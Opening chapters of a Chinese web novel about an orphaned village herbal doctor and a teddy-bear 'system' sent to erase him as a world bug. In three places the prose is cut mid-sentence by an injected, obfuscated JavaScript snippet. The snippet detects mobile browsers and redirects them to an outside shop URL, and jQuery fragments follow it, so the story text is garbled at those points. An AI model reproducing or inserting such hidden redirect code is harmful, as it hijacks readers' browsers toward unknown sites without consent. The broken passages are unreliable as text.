《[足球]以卡卡的幸福为终极目标》 1. 该出手,就出手 “富贵,这个月的房租该交了。”门口王姐的大嗓门由远及近。 “好的,王姐,你等会,我马上去拿钱。” “不着急。” 太阳将地面炙烤的变形,王姐从小电驴上下来,手里那个厚本子,在上面标着王富贵的那一栏打了个对钩。 这里是王家村,而王富贵是村里唯一的老中医,十八岁的年纪已经行医十年,在三年前,他师父王老头死了之后,他就接手了这家中医馆,医术是公认的靠谱。 踏入中医馆的一瞬间,王姐就长吁了一口气,“凉快”。 大夏天,还是热死人的中午,店里并没有客人,王姐一屁|股坐在椅子上,给自己倒了满满一大杯凉茶。 王富贵的凉茶,在村里可是公认的好,不仅清凉败火,还保护嗓子。 王姐从小看着王富贵长大的,这凉茶也喝了十多年,但就是喝不够,将杯子里剩下的一饮而尽,王姐打量了眼这个小小的中医馆。 老王头租下这里的时候,这里的老板还是她爷爷呢。 这里并不是地段好的铺面,所以租金十分便宜,要不然王富贵早就背井离乡去打工了。 王富贵打开自己的钱匣子,从里面数出5张百元大钞,就急急忙忙向楼下跑去,还没等他跑下楼梯,就惊奇的发现自己的身体在发光。 王富贵:“w(?Д?)w” 光并不刺眼,王富贵揉了揉自己的眼睛,想要确认自己是不是在做梦,然后他崩溃的确认,自己并没有做梦,也没有眼花,反而是自己发光的大腿消失不见了。 大白天做梦了? 他颤抖着伸出手,狠狠地抽了自己一巴掌。 “啪”巴掌声音清脆。 身体上的光似乎随着清亮的巴掌声消失不见,消失的大腿也恢复了原状。 王富贵擦了把自己额头上的冷汗,嘴里嘀咕道:“幻觉,都是幻觉,自己吓自己,明天一定不能在熬夜打游戏,年纪轻轻就出现幻觉。” 显然他把刚才经历的一切,当成了自己熬夜打游戏太累出现的幻觉,毕竟哪个正常人也不可能会变成光,还一闪一闪的消失,又不是奥特曼。 怕王姐等着急,他赶紧朝着楼下跑去。 “王姐,房租,你先点点。” “不用点,我还能信不过你。”王姐随手把钱塞进包里后,抬起头看向了眼前的王富贵,语气了带着担忧:“我说富贵啊?你就准备一直守着这个小诊所一辈子?姐知道你有本事,在这里实在是太委屈你了。” 听到王姐的话,王富贵露出一抹苦涩的微笑,他明白王姐的意思,他师父老王头行了一辈子医,到死都没考下行医资格证。 而自己呢,也只上满了国家的九年义务教育,初中毕业,想要考证,现在是不可能。 不过他已经开始攒钱了,相信再过一年时间,就能攒够成人高考的学费和生活费,到时候也去考个文凭,最好是能够把行医资格证也考下来。 看着王富贵失落难过的神情,王姐感觉自己的心也跟难受,这么帅气的孩子,当爹妈的得多狠心才给扔了。 “富贵啊,王姐我说话难听,你别介意。” “王姐,我明白,你是为了我好。”王富贵也知道王姐对自己的照顾。 毕竟这个地段,基本房租应该是1500左右,而王姐只收了他500。 小时候要是没有王姐帮衬,八十多岁的老王头可能就把自己养死了。 他们之间的关系不是亲人,胜似亲人。 王姐在这歇了一会儿,又嘱咐王富贵要多照顾自己,按时吃饭,按时睡觉后才满意离开。 店里又陷入了安静,王富贵掏出手机准备打两把游戏,作为一个刚成年的十八岁小伙,沉迷游戏理所当然。 但显然,今天的情况有些不对劲。 伴随着游戏激昂的音乐,本来握在手里的手机却直接掉到了地上,手机里传来队友骂人的声音,王富贵却没有办法理会,这次比上次更加严重,从下半身开始,现在他只剩下一个发光的头。 连抽自己一巴掌都做不到,因为他的手早就已经消失。 声音卡在嗓子里,随时准备破嘴而出,这是王富贵长这么大唯一一次感到害怕。 害怕自己就此消失,明明应该有美好的未来,却会在这里不明不白的死去,这一份恐惧逼得他眼眶发红,在这一瞬间,他深刻的意识到,他还没活够,他不想死。 谁能来救救他?不管付出什么代价他都接受。 “叮咚。” 门铃声在此刻犹如天籁,王富贵眼睛直直看向门口,想要看清门口的是谁,最好是能救自己的人。 然后他看到了一个身高四十厘米左右的,棕色泰迪熊从门口晃晃悠悠的走了进来。 “泰迪熊成精了?”王富贵震惊的叫出声:“是这个世界疯了,还是我疯了?” 泰迪熊迈着小短腿扫视四周,发现了只剩下一个发光大头的王富贵后,满意的点点头,迈着小短腿跑了过来。 “终于找到你了。” “你别过来。”王富贵的声音都吓的劈叉,但是只有一个头的他,显然没有办法阻止拥有两条腿的泰迪的靠近。 “王富贵先生您好。”泰迪熊自然的和只剩下一个头的王富贵打着招呼,在看他还剩下头的时候,眼神里带着不解? “是还没到时间吗?” 看着面前的泰迪熊似乎没有想要伤害自己的想法,王富贵才小心翼翼的问到:“你,我,这,……?” 你是谁?我是怎么回事?世界还正常吗?我是不是在做梦? 想要问的太多,让他一时间竟然不知道怎么开口。 “尊敬的王富贵先生您好,我是bug 处理系统,我的编号的g602。”泰迪熊礼貌的打起了招呼 “bug,是什么意思?”王富贵转动着自己不甚灵光的小脑袋努力思考。 “意思就是,王富贵先生,您其实是这个世界的bug ,我是专门来处理您的。” “处理?诶?”王富贵终于反应过来泰迪熊的意思,原来这家伙是来杀自己的。 “按正常套路,系统不是应该绑定主角,然后主角开始升级打怪,走上人生赢家的道路吗?怎么到了我这里,就变成了要被处理的bug了?” “王富贵先生,按照您的年纪,小说还是要少看,不然容易脑子受伤哦。”平缓的声调里夹杂着一丝淡淡的嘲讽,听的王富贵直冒火气。 “我是bug ,你凭什么说我是bug,你让我去死,总得让我死的明白吧。” “好的,尊敬的王先生,这点小事我当然会满足您。” “其实事情十分简单,每个世界在运转的时候,总会产生一些小意外不是嘛,而您就是那不小心产生的意外,您没感受到吗?这个世界已经开始排斥您了,就如同健康的人体,不小心产生了癌细胞一般,这个时候就需要我们出面,解决掉这个bug ,如果我们不处理您的话只要您成年,就会和烟花一样……” 泰迪熊夸张的伸出胳膊,比了个烟花炸开的手势。 “我是癌细胞?你咋不说我是外星人呢?”如果有手有脚的话,王富贵简直要跳起来了。 “不,经检查,您其实是外国人。” “外国人怎么了,外国人就不配活在这个世界上了吗?”虽然很震惊自己竟然不是华国人,但是王富贵感觉自己还可以抢救一下。 看着王富贵的脸,泰迪熊的动作可疑的停顿了下。 这张脸,这么年轻就死了确实很可惜。 “不是,我不是这个意思,我的意思是,,是,就算我不来,到您十八周岁时,您也会和烟花一样炸开,而爆炸所产生的威力,相当于一个洲际导弹,我来这里的主要目的,其实是来处理您,防止您炸掉这里,保证附近人的安全” “洲际导弹?”王富贵深吸口气,自嘲的说道:“我活了这么多年,还是第一次知道,自己这么厉害。”虽然很想活,但是让他拉着附近王家庄所有人的性命去赌,他更做不到。 “好吧,我认命了,希望你下手快一点,我怕疼 。” “您不怕死了?” “怕,但是怕就能不死吗?” “……” “带着那么多人去死,如果我死了,一定会下十八层地狱的。” “王富贵先生,这不是您的错。”泰迪熊感觉自己被眼前这张脸蛊惑了,要知道他还是第一次觉得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849819|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 这么有礼貌,这也是他第一次安慰一个bug。 看着王富贵通红的眼眶,泰迪熊感觉自己的良心在隐隐作痛,这就是前辈说的“外貌福利”?” “谢谢你安慰我。”王富贵抽了抽鼻子,眼泪从眼角流到嘴边,咸咸的,他实在没想到过,自己竟然只能活到十八,死了竟然也会危害世界。 “我能知道我是什么吗?为什么死了,还会像导弹一样爆炸啊?” “经过扫描,您只是一个普通的人类哟。” “普通人类为什么会爆炸?” “因为您产生变异,现在是一个bug。” 得,绕来绕去又绕回去了,王富贵翻了个白眼,懒得计较系统在这里和自己绕弯子。 头上的光越来越闪,渐渐地包围了整个头。 泰迪熊掏出了一把劣质感满满的玩具手枪。 “……” 直面死亡,又有谁能真正坦然接受?看着王富贵脸上的惧意,泰迪熊再三保证,“王富贵先生,您放心,我很快的,绝对给您一个完美的死亡感受。” “可是我还不想死,我很怕,……”王富贵说到底还是没成年的孩子,直面死亡,他感觉自己承受不来。 “再见。”泰迪熊的话还没说完,围绕在王富贵脸上的光闪烁了两下,随即消失不见,而那些消失的身体部位,又回到了他们该呆的位置。 这个变故打的两人措手不及。 泰迪熊把抢收进口袋后,翻出一个档案夹,疑惑的看了半天后,一屁|股躺到地上:“王富贵先生,您竟然谎报出生年月,您明明还有四个月才满十八周岁。” 另一边的王富贵也瘫软在椅子上,大口喘着粗气,死里逃生的感觉,其实还不赖,他感觉就连空气都甜丝丝的,就是感觉全身发软,让他很不习惯。 听到泰迪熊的话,他的眼睛冒光,这是不是说明,他还可以在活四个月? “啊,该死的,您毀了我即将到来的年假。”他的语气里充满了绝望。 “我已经选好了度假世界,在这里耽搁四个月,等我回去什么都晚了。” “哦,那实在抱歉。”王富贵语气里带着敷衍,让泰迪熊的火气更大。 “你的道歉一点也不诚心。” “你一个玩偶熊,不要有那么高的要求。” “王先生,你必须给我重新道歉。” 王富贵也憋着一口气,一想到这个人四个月之后要杀自己,现在还想要自己道歉,,给杀己凶手道歉,那简直哈哈哈哈哈。 “我就不道歉,你打我啊?我告诉你,我可是未成年,再说了这明明是你的工作失误,我没投诉你就不错了,就是因为你的失误,接下来的四个月,我会在担忧恐惧中度过。” “你还想要投诉一个兢兢业业的公务员?” “那你现在杀了我,马上去休年假呗。” “不行,现在杀了你,你的身体就会不受控制随时爆炸,必须等你十八周岁生日的当天天动手才行。” “那你就等我十八周岁生日的时候你再来,我真是不想看见你这张脸了,让我对毛茸茸都倒胃口了。” “你竟然还人身侮辱我!!!” “我的年假限定世界,那个时候肯定已经被抢走了,你知道我排了多久才排到那个世界的吗?”泰迪熊被说的有些委屈,毕竟出错的不是他,而是他手里的世界之书,按理说世界之书从来没有出过错。 “我没有侮辱人啊,这里哪有人,不是只有一只……。”王富贵光棍一般摆摆手。 泰迪熊越想越生气,看着王富贵的脸,他忍了又忍,忍了又忍,实在是忍不住,跳了上去,抬起毛茸茸的胳膊,一拳打在了王富贵的眼睛上。 “嗷”王富贵捂着眼睛跪倒在地上,他睁着仅有一只的好眼睛看着脚底下的泰迪熊,质问道:“你竟然敢殴打未成年,不给你点厉害看看,你是不知道什么叫做行医十年老中医。” 说完一人一熊冲到一起,扭打起来。 这一架没有赢家,王富贵被打成了猪头,泰迪熊更惨,被扎成了筛子不说,就连棕色的小短裤都被扒了个精光后,扎上了满满的银针。 一人一熊分别窝在屋子里的两个角落默默舔舐伤口。 2. 打人先打脸 自己竟然被一只玩偶熊给打成这样,还是一只只有四十厘米,只到他波棱盖的熊,打成这样,王富贵觉得天都塌了。 作为一个爱面子的少年,他在门口挂上了暂停营业的牌子后,狠狠地瞪了一眼趴在地上装死的泰迪熊。 而泰迪熊显然也被打的不轻,现在还趴在地上起不来。 他承认是自己太过于冲动了,竟然没控制好自己的情绪,但是他委屈啊,如果王富贵年龄没错,按理说他现在应该已经完成任务,开始享受自己的年假了。 明明只是一个清除bug的小任务,为什么现在变得这么复杂。 他整整工作了一千年的时间,一千年啊,总部才批准的年假,这个最后的任务,竟然出了岔子。 如果上面的人知道这里的岔子,自己的年假会不会被直接被取消? 只要一想到这个可能,泰迪熊感觉自己的心都碎了。 “系统先生,既然我还没到死亡时间,我就不留你吃饭了。”王富贵呲牙咧嘴的赶人。 “你打坏了我的小熊时装,这是我花了一个月的工资买的。”泰迪熊顶着满身银针站了起来,看着被扎成筛子的自己,大声咆哮。 “哦,那你报警抓我吧,就说我打了一个泰迪熊,而且我也没有钱。”王富贵一副死猪不怕开水烫的样子。 泰迪熊看着被自己打成猪头的王富贵,摇摇头:“我不要你的钱,这段时间我会跟在你身边。” 他拔下自己身上的针,粗略的数了下,大概在二百根左右,想到这里他打了个冷战,要是自己没穿小熊套装,还不得被这小孩打死。 毕竟小熊套装最著名的就是增加百分之三十的战斗力和百分之六十的防御力,这么逆天的装备都被打爆了,只能说不愧是bug 。 “不要。”王富贵在药橱前忙忙碌碌给自己抓药,煎药,他对自己的这张脸还是很满意的,并没有想要整容的想法。 “为什么,如果是因为我先动手这件事,我向你道歉。” “我不接受道歉,四个月以后,你就是杀我的凶手,我不和杀人凶手一块玩。” “你这样太幼稚了。”泰迪熊一边吐槽,他心疼的摸摸自己身上的洞,最后绝望的承认,这件自己很喜欢的套转,确实是坏了。而且坏的透透的,再也没有一丝修好的可能。 “我幼稚?”王富贵捞起脚边的泰迪熊,指着自己的脸:“你看看,你把我打成啥样了,都破了像了,我可是这里远近闻名的帅哥,要是被人知道是你把我打成这个样子,你就死定了。” “在过四个月我就要死了,你却对一个要死的未成年动手,把你留在我身边,我会很担心自己的人身安全。” “我也还是一个刚被制造出来,就连续工作了一千年的未成年统。”泰迪熊小声嘀咕道,这些话他是不敢大声说出来的,他是不敢招惹这小子的恐怖战斗力。 要知道他的套装都是辛辛苦苦攒积分才买来的,这可是钱都换不来的好东西。 “对不起。”看着王富贵肿肿的脸,泰迪熊最后还是底下了他高贵的头颅。 “不管你信不信,我确实是不知道我的出生日期,我是孤儿,被人扔在路上,后来被我师父捡到收养了,师父死了后,我就辍学一个人生活了,我现在的生日是师父捡到我的日子。”王富贵把泰迪熊扔到地上,干巴巴的解释。 这是第一次有人对王富贵道歉,竟然搞得他有些不知所措。 他还以为是自己不记得生日才搞出这一场乌龙。 砂锅里的中药发出咕噜咕噜的声音,王富贵把药倒进碗里,黑乎乎的汤汁散发着古怪的味道,那颜值让泰迪熊都忍不住退避三舍。 王富贵却端起碗,面不改色的大口喝的干干净净。 “咳,既然你都接受自己的命运了,那就趁着这最后一段时间,好好和亲朋好友好好告个别吧,但是这四个月我会一直在你身边,防止有意外发生”。 “没有,亲人,也没有朋友。”王富贵那肿肿的脸让人分不清他的表情。 这下泰迪熊是真的愧疚了,他小心翼翼的开口:“那你有什么未完成的心愿吗?” “心愿?”王富贵将洗完的药碗放进橱子里,又从里面拿出了针线后来到大堂,他把泰迪熊薅进怀里,动作一点也不温柔,但是泰迪熊没有挣扎,而是安静的窝在了他的怀里。 “补不上了。”看出王富贵的意图,泰迪熊小声的开口说道,他检测过了,这件套装已经报废了。 “怎么,看不起我的手艺?我可是行医十年的老中医,我玩针的时候,你说不定还是一团毛线呢。”王富贵想要咧嘴笑,下一秒疼的五官都扭曲了。 “哎呦,你说你一个毛茸茸的小熊,怎么这么暴力,打架下手还这么黑,竟往人脸上招呼,” “我不是故意的,是你的脸太闪了,先打你的脸,我就不会下不了手了。”泰迪熊小声解释。 王富贵一直听别人说自己长得好,在今天对自己的脸有了更深刻的认识。 “好了。”王富贵在泰迪熊身上打了一个完美的蝴蝶结后咬断了手里的线,他举起泰迪熊仔细的看了看,发现所有的口子都没自己缝了起来后,才松了一口气。 虽然很长时间没动针线了,现在看来自己的手艺没有落下。 “你们平时工作都是这样糊弄的吗?”将泰迪熊放到地上后,王富贵又从新坐回椅子上,等他拿起手机果然看到自己已经被游戏队友举报了。 “消除bug 只是在平常不过的小任务罢了,我干了这么多年,就出了这么一次意外。” “而且我这里显示的,你明明已经过了十八周岁的生日了,我不可能弄错的。” “到底是哪里出了错,我也不知道。” “我明明只是一个平平无奇的孤儿,为什么会成为这该死的,要命的bug 呢?”王富贵语气阴沉。 “bug 形成的原因有很多,我的等级太低了,你成为bug 的原因,我的手册上没有显示。”泰迪熊语气明显失落,他处理bug 这么长时间,从来没有思考过bug 是怎么形成的。 “就连你也不知道吗?那我死的可真憋屈啊。” “你还没说自己有什么心愿呢?”看不得王富贵的沮丧,泰迪熊生硬的转移了话题,他想帮助眼前这人实现心愿。 “我没有心愿。”王富贵随手抽出本医书盖到自己脸上,不想被人发现他的狼狈,哪怕只是一只熊也不行。 其实是有的,他在很小的时候就想了,在学校里孤身一人的时候想,在被别人骂叫没爹没妈的孩子的时候想,他想找到自己的亲生父母,问问他们,是不是把自己弄丢了。 还是真的是抛弃了自己,为什么会抛弃自己,是自己小时候不乖还是…… 可是这个愿望是不可能实现了,因为刚才那个噩耗,自己会在四个月后死去,还有自己居然是个外国人。 泰迪熊看着椅子上的人感觉有点闷,他吭哧吭哧的爬上椅子,钻进王富贵的怀里。 哪怕他不明白自己为什么会这么做,但是他就是做了。 “你是哭了吗?”泰迪熊干巴巴的声音在怀里响起,吓得王富贵身体一颤。 “没有。”王富贵干巴巴的说道,随手把泰迪熊扔到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849820|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 地上。 被扔下的泰迪熊抻了抻自己毛茸茸的前爪,再次一个助跑起跳,在他的想像里,他应该会稳稳的,帅气的落到王富贵的怀里,但是,很显然,他高估了自己的运动细胞,所有的发展并没有按照他预想的来。 他的姿势一点也不美观,而且因为步子过大,他那毛茸茸的头直接撞向了椅子腿。 “砰砰砰。” 熊飞了出去,椅子飞了出去,当然椅子上的人也没能逃过,也飞了出去。 全场受伤最严重的就是王富贵,他被椅子稳稳的压在了最下面。 扔掉身上的椅子,王富贵摇了摇头,然后一把揪起泰迪熊,在他还没反应过来的时候,抬脚,射门。 泰迪熊像是一颗流星一般冲向天际。转瞬消失不见。 王富贵拍拍手,将门从新反锁,他没忘记自己现在可是一颗人形炸弹的事,最后这几个月,还是让他一个安安静静的离开吧。 死里逃生,他现在很迷茫。 虽然他的人生里还有很多遗憾,但是谁的人生能没有遗憾呢,就像是活到九十多岁的王老头,死之前还一直念叨着自己的行医资格。 就像他当初那么想上学,九年义务教育结束后,也只能背包回家。 而且作为一名大夫,死亡这件事他看过太多了。 只是突然放到他自己身上,他还没有准备好而已。 等他准备好了,他大概就能安然赴死了吧?王富贵有些不确定的想到。 而飞上天的泰迪熊,现在做着匀速直线运动,直到力消耗殆尽,才从天上扑通一声落到垃圾桶里。 垃圾桶里的垃圾并不多,但作为一只只有四十里面的泰迪熊为了爬出垃圾桶,他着实废了好大一番力气。 等他从垃圾桶里爬出来,月亮已经悄然爬上天空,整个巷口弥漫着烧烤的气味,引的人胃口大开。 泰迪熊咽了咽口水,后悔的摸了摸自己塞满棉花的肚子,时装坏了,虽然被修补了,但是他不敢保证现在能不能正常进食。 要不先去吃两口试试?毕竟谁能拒绝华国美食呢? 在烧烤摊和王富贵之间进行了一番艰难的抉择,泰迪熊最后还是没过自己心里的那关,决定还是先去找王富贵。 这是他第一次想要帮助人实现心愿,可能是因为愧疚?可能是因为王富贵长了一张闪闪发光的脸?谁知道呢?反正他想做,那就做呗。 泰迪熊套装损坏,大部分功能无法启用,泰迪熊看着自己破破烂烂,还脏脏的身体,犹豫着要不要换回本体。 “换回来的话,这些伤口一定会疼死吧?到时候自己的人形会不会满身窟窿眼?”泰迪熊不确定的想到。 怕疼的泰迪熊回到中医馆的时候已经接近凌晨,由于大门上了锁,他只能从二楼的窗户爬进屋子。 吭哧吭哧吭哧 爬上床的那一刻,泰迪熊长长的叹了口气,天知道,这路到底有多惊险,被狗追,被猫赶,被耗子咬……不过,还好自己回来了。 王富贵安安静静的躺在床上,呼吸平稳,昨天受伤的脸蛋已经消肿,又露出了那张好看的脸。 泰迪熊趴在王富贵的耳边,静静的,紧紧的盯着他的脸,塑料眼珠子闪过一丝无机制的冷光。 心里想的却是“老天爷啊,他长得可真好看。” “为什么会想帮助一个bug 实现愿望呢?” 泰迪熊不得不承认,作为一个bug ,王富贵无异是长着一张过分优异的脸。 难道自己其实是个变态的脸控?泰迪熊震惊的捂住自己的脑袋,显然他被自己的想法吓得不轻。 3. 朋友与愿望 清晨的第一缕阳光穿过窗户,稳稳的照射在熟睡的人身上,床上的人被光照刺的皱紧了眉头,泰迪熊伸出自己毛茸茸的爪子,挡在王富贵的眼前,想要帮他挡住这刺眼的亮光。 很可惜,泰迪熊高估了自己。 王富贵已经醒了,在看到身边的泰迪熊的时候,没有一丝意外,毕竟,他现在已经接受了自己是个bug ,一个会说话的毛绒泰迪熊会自己回来而已,并不会很难接受不是嘛。 只不过,这只泰迪熊和昨天被比,是不是脏了? 王富贵用指尖捏起熊,发现这并不是自己的错觉。 因为身体是棕色,他竟然没在第一时间发现,这只熊身上脏兮兮的痕迹,然后他发现他的床单都被弄脏了。 学医的人都会有点小毛病,比如说洁癖,就算王富贵学的是中医,他也没有避免这点小毛病。 下一秒,小熊就感觉自己飞了起来。 “你是刚从垃圾桶里爬出来的吗?”王富贵跑进洗手间,洗手,他简直不敢想,这只熊身上会有多少细菌,和他呆了这么长时间的自己身上,又会有多少。 被扔飞的小熊懵逼的趴在地上,然后他发现自己被捡了起来,身体一阵腾空。 等小熊反应过来,他已经被扔进了洗衣机里。 “你就不能手洗吗?”泰迪熊在洗衣机浮浮沉沉,在沉底之前绝望的大喊。 “不能,你太脏了。” 砂仁猪心,绝对的砂仁猪心。 咕噜咕噜。噗噗噗噗。泰迪熊在洗衣机里沉沉浮浮。 王富贵洗漱完,看着镜子里自己的脸,昨天的伤口已经完全消肿,只剩下眼眶处的一点淤青还没有恢复。 他小时候没少打架,对于自己身上明显不对劲的恢复能力,他为什么从来就没有感觉过不对劲呢,明明他自己本身就是个大夫。 他摸着自己的脉搏,沉稳有力,生机博博,和他摸过的其他人没有什么不同。 怎么就变成了个bug 了呢? 楼下的开始热闹起来,早餐的的香味隔着窗户飘进来,打断了里面人的思考。 按照平时,自己现在应该已经做好早饭了,作为一个青少年,王富贵有着不符合他年纪的厨艺。 但是,现在都要死了,还自己做什么饭啊,不放纵下怎么对的起自己这短暂的一辈子。 王富贵掏出手机,第一次点了外卖。 在外卖来之前,他还是按照习惯走下楼,先打了段八段锦后又来了段太极。 这是和王老头一起生活养成的习惯。 然后,他开始处理药柜里的药材,这些药是他前不久专门去村里收回来的,多半都是野生品种,药效好,还便宜,只不过完全没有炮制过的,处理起来会花费一些功夫。 现在很少还有中医会亲自收药材了,毕竟现在网购发达,一个电话,医药公司也会送货上门。 但这并不包括王富贵,说实话,他用不起医药公司的中药。 钟表的指针转了两圈,王富贵才后知后觉的发现,他站起身,揉了揉自己有些酸胀的腰,打量起这自己从小生活的房子。 两座大药橱稳稳的落座的两侧,玻璃柜台落座在药橱前面,让整体的环境有些闭塞,剩下的那面墙上挂满了锦旗,妙手回春,济世仁心,看的人眼花缭乱,这里面有王老头的,也有自己的,还有更多放不下的,被他收到了箱子里。 叮铃铃,叮铃铃。 王富贵接过外卖员手里的大袋子,有些不确定的问到:“这是不是弄错了,我只点了一个汉堡,一杯可乐。” 快递小哥眼里查了查单子后才说道:“您是小王大夫吧?是的话就没错,里面就是您点的餐,我下一单要超时了,我就先走了。” 没有办法,王富贵只能放外卖小哥先离开。 然后他打开纸袋,从里面掏出了六只汉堡,一只炸鸡,一只烤鸡,菠萝派,香芋派……最后在纸袋下面,还有半袋子番茄酱。 现在他完全确定,这就是送错了。 还是先联系商家吧,王富贵叹了口气,有些后悔自己为什么会想要点外卖。 等铃声响的第三遍,电话才终于接通:“老板,我的饭,你” “小王大夫,我一看地址就知道是你” 王富贵的话被电话里激动的声音打断,他看了眼电话,发现是新号码,只能努力分辨电话里的声音,但是电话里的声音也很陌生。 “你是?”他有些不确定的问。 “您忘记我了也很正常,我媳妇您总记得吧,生了四胞胎那个,要不是您,我们这家就算是完了。” “那些东西算是我的一点心意,你一定要收下。”他说完就直接挂断了电话,好似慢一秒,王富贵就能顺着电话线把东西给他送回来。 王富贵叹了口气,看着墙上一面有些老化的锦旗,上面写着四个大字“送子观音”说实话,他已经记不清楚两人的长相,只记得当初抵药费的那两只大土鸡很香很香。 由于老王头牙不好,那两只土鸡全都进了他的肚子。 王富贵打开包着汉堡的纸,咬了一口,发现小时候心心念念的汉堡果然和他想的一样好吃。 “我也想吃。”土棕色的泰迪熊从楼梯扶手上滑了下来,看着王富贵手里的汉堡,开口说道。 泰迪熊很显然是刚从洗衣机里爬出来,松软蓬松的毛毛全都黏在一起,完全不复之前的美貌。 “洗干净了吗?就从洗衣机里跑出来?” “洗衣机停了,我还吧自己甩干才过来的。”泰迪熊有些骄傲的开口。 “哦。” 不满足王富贵这么平静的回答,泰迪熊这次大声的开口:“我身上现在很干,一滴水都没弄到地板上。” “那你很厉害。”王富贵专心吃东西。 “那很厉害的我可惜吃一个汉堡吗?”泰迪熊有些羞涩的开口。 “不行” 泰迪熊沉默,泰迪熊震惊,泰迪熊躺在地上,开始满地打滚。 “为什么不行,为什么,为什么!!” “不行,就是不行,你只是一个毛绒玩具,而毛绒玩具不能吃东西。” “我不是毛绒玩具,我是系统,系统可以吃东西。”泰迪熊还在那强词夺理。 被他烦的的行,王富贵只能扔给他一个汉堡,并决定今天晚上,无论如何也不能让这只油乎乎的泰迪再睡在自己的床上。 毕竟自己只有两张床单。

35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849821|211803||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 吃完东西后,王富贵又继续开始处理药材,这些药材处理好后,他准备将药材捐给离这里很近的社区诊所。 因为自己诊所的原因,社区诊所差点开不下去,以后自己离开,这些东西留给他们正好。 泰迪熊美滋滋的吃完了剩下的所有汉堡后,不仅将垃圾也打扫干净,还给自己换了个新皮肤,棕色小熊变成了粉色小熊,大小也从四十厘米缩水变成了十厘米左右,只有一个巴掌大小。 他轻巧的跳上王富贵的膝盖,又灵活的拽着他的衣领向上攀爬,直到爬到王富贵眼前后,捧起了王富贵的脸。 “吃了你的饭,我就是你的朋友,现在你的朋友决定要实现你的愿望,快,告诉你的朋友,你有什么愿望。” 看着小熊郑重其事的小表情。 王富贵憋了半天才忍住不笑。 他眉眼弯弯,紧紧的咬住上唇,避免看到眼前的小粉泰迪熊笑出来。 半晌后,才开口说道:“我,我不和玩偶做朋友。” “我说了多少次,我不是熊,这是伪装,我是系统,系统。” “嗯,我不和系统做朋友。” “你怎么这样。”玩偶熊松开手,从王富贵身上跳下来,垂头丧气。 王富贵最终还是没忍住,捶腿大笑起来,就连他自己也不知道他为什么会笑。 听到笑声的泰迪熊背驼的更低了,他有些难过,为什么王富贵不想和自己做朋友。 笑声消失,王富贵的表情难得郑重,他小声开口说道:“就这么想和我做朋友?” 泰迪熊把头摇的像是拨浪鼓,他今天才不想和眼前的人做朋友,就算做,也要明天才行。 王富贵却没有理他的拒绝,而是伸手把泰迪熊拿到眼前,狠狠地亲了口:“好了,我现在承认你是我的朋友了。” 毕竟谁能拒绝一直毛茸茸的玩偶熊呢。 原来,想要成为朋友必须这样做吗?泰迪熊傻傻的盯着眼前的人。 “愿望,快说你的愿望。”泰迪熊并没有忘记正事,开口提醒道。 “我没有愿望。”王富贵说完,看到小熊一脸自己不信的模样,莫名想笑(天知道他是怎么从一张毛茸茸的脸上看出表情的。) “你明明有。”泰迪熊反驳道:“我昨天晚上听见你哭了,你哭着喊爸爸妈妈,哭的很伤心。” 王富贵一愣,他说自己眼睛上的伤为什么没好,原来是晚上把眼睛哭肿了。 “我是孤儿,没有父母的。”他把小熊放到自己的膝盖上,嘴里讲着自己的过去,手却在又快又准的处理着草药,“我是被人扔到这里的,命大,被捡回了家,被人收养,生活长大,……在五年前亲手送走了如师如父的王老头。” 然后就一个人生活,没有亲人,没有朋友,还没有钱。 “你现在有我了,我来做你的朋友。”小小的泰迪熊就差指天发誓了。 “好啊,那我死了以后,烧纸的活就交给你了。”王富贵笑着说道。 “嗯,你就放心的交给我吧。”小熊被笑容晃得头晕乎乎的,把胸脯拍的啪啪响。 王富贵,在死亡倒计时四个月的时候,有了第一个朋友,一个执着想要帮他实现愿望的朋友 4. 名字 这些天,王富贵和泰迪熊一直窝在店里处理着药材,期间一直有人来敲门,但都被王富贵拒绝了,他的心现在乱了,怎么能给人看病呢。 送走了药材,王富贵看着空荡荡的前厅,感觉心里难受的紧。 他在几天前就和王姐通过电话,说是下个月要南下去打工,铺子会打扫出来,不在租了,王姐很支持他的决定,说走之前,一定要去她家吃个饭。 王富贵在电话里答应了,只不过他并不准备去。 收拾好行李,活了这么多年,行李竟然装不满一个三十八寸的行李箱,这是王富贵自己也没想到的。 “咱们要去哪啊?”泰迪熊度过了兴奋期,后知后觉的问到。 “不知道。”王富贵也满心迷茫。 他摩挲着手机,里面有这几年存的所有钱,一共是12548.2,一共一万多块,应该够自己富足的度过剩下的四个月了吧? 泰迪熊本来在王富贵的口袋里躺的好好的,听见这话,差点从口袋里蹦出来。 他有些不确定的想到:“哦,我亲爱的朋友,你这是决定开始流浪了吗?” 想像很美好,先是很骨感,在经历了四百一晚的酒店,六十八一碗的面条,只过了一个月的时间,小金库就已经见底。 